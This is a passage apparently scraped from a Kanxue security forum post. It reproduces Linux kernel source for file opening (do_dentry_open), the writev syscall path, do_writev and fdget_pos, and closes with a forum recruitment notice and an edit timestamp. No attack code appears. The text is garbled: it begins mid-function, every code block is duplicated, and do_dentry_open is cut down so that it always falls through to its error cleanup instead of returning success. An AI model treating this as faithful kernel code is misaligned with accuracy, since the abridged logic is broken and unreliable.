goto
cleanup_file;
error = __mnt_want_write(f->f_path.mnt);
if
(unlikely(error)) {
put_write_access(inode);
goto
cleanup_file;
}
f->f_mode |= FMODE_WRITER;
}
if
(S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
f->f_mode |= FMODE_ATOMIC_POS;
f->f_op = fops_get(inode->i_fop);
if
(WARN_ON(!f->f_op)) {
error = -ENODEV;
goto
cleanup_all;
}
cleanup_all:
if
(WARN_ON_ONCE(error > 0))
error = -EINVAL;
fops_put(f->f_op);
if
(f->f_mode & FMODE_WRITER) {
put_write_access(inode);
__mnt_drop_write(f->f_path.mnt);
}
cleanup_file:
path_put(&f->f_path);
f->f_path.mnt = NULL;
f->f_path.dentry = NULL;
f->f_inode = NULL;
return
error;
}
static
int
do_dentry_open(
struct
file *f,
struct
inode *inode,
int
(*open)(
struct
inode *,
struct
file *))
{
static
const
struct
file_operations empty_fops = {};
int
error;
path_get(&f->f_path);
f->f_inode = inode;
f->f_mapping = inode->i_mapping;
f->f_wb_err = filemap_sample_wb_err(f->f_mapping);
f->f_sb_err = file_sample_sb_err(f);
if
(unlikely(f->f_flags & O_PATH)) {
f->f_mode = FMODE_PATH | FMODE_OPENED;
f->f_op = &empty_fops;
return
0;
}
if
(f->f_mode & FMODE_WRITE && !special_file(inode->i_mode)) {
error = get_write_access(inode);
if
(unlikely(error))
goto
cleanup_file;
error = __mnt_want_write(f->f_path.mnt);
if
(unlikely(error)) {
put_write_access(inode);
goto
cleanup_file;
}
f->f_mode |= FMODE_WRITER;
}
if
(S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
f->f_mode |= FMODE_ATOMIC_POS;
f->f_op = fops_get(inode->i_fop);
if
(WARN_ON(!f->f_op)) {
error = -ENODEV;
goto
cleanup_all;
}
cleanup_all:
if
(WARN_ON_ONCE(error > 0))
error = -EINVAL;
fops_put(f->f_op);
if
(f->f_mode & FMODE_WRITER) {
put_write_access(inode);
__mnt_drop_write(f->f_path.mnt);
}
cleanup_file:
path_put(&f->f_path);
f->f_path.mnt = NULL;
f->f_path.dentry = NULL;
f->f_inode = NULL;
return
error;
}
SYSCALL_DEFINE3(writev, unsigned
long
, fd,
const
struct
iovec __user *, vec,
unsigned
long
, vlen)
{
return
do_writev(fd, vec, vlen, 0);
}
SYSCALL_DEFINE3(writev, unsigned
long
, fd,
const
struct
iovec __user *, vec,
unsigned
long
, vlen)
{
return
do_writev(fd, vec, vlen, 0);
}
static
ssize_t do_writev(unsigned
long
fd,
const
struct
iovec __user *vec,
unsigned
long
vlen, rwf_t flags)
{
struct
fd f = fdget_pos(fd);
ssize_t ret = -EBADF;
if
(f.file) {
loff_t pos, *ppos = file_ppos(f.file);
if
(ppos) {
pos = *ppos;
ppos = &pos;
}
ret = vfs_writev(f.file, vec, vlen, ppos, flags);
if
(ret >= 0 && ppos)
f.file->f_pos = pos;
fdput_pos(f);
}
if
(ret > 0)
add_wchar(current, ret);
inc_syscw(current);
return
ret;
}
static
ssize_t do_writev(unsigned
long
fd,
const
struct
iovec __user *vec,
unsigned
long
vlen, rwf_t flags)
{
struct
fd f = fdget_pos(fd);
ssize_t ret = -EBADF;
if
(f.file) {
loff_t pos, *ppos = file_ppos(f.file);
if
(ppos) {
pos = *ppos;
ppos = &pos;
}
ret = vfs_writev(f.file, vec, vlen, ppos, flags);
if
(ret >= 0 && ppos)
f.file->f_pos = pos;
fdput_pos(f);
}
if
(ret > 0)
add_wchar(current, ret);
inc_syscw(current);
return
ret;
}
static
inline
struct
fd fdget_pos(
int
fd)
{
return
__to_fd(__fdget_pos(fd));
}
static
inline
struct
fd fdget_pos(
int
fd)
{
return
__to_fd(__fdget_pos(fd));
}
static
inline
struct
fd __to_fd(unsigned
long
v)
{
return
(
struct
fd){(
struct
file *)(v & ~3),v & 3};
}
static
inline
struct
fd __to_fd(unsigned
long
v)
{
return
(
struct
fd){(
struct
file *)(v & ~3),v & 3};
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2024-3-14 10:48
被xi@0ji233编辑
,原因: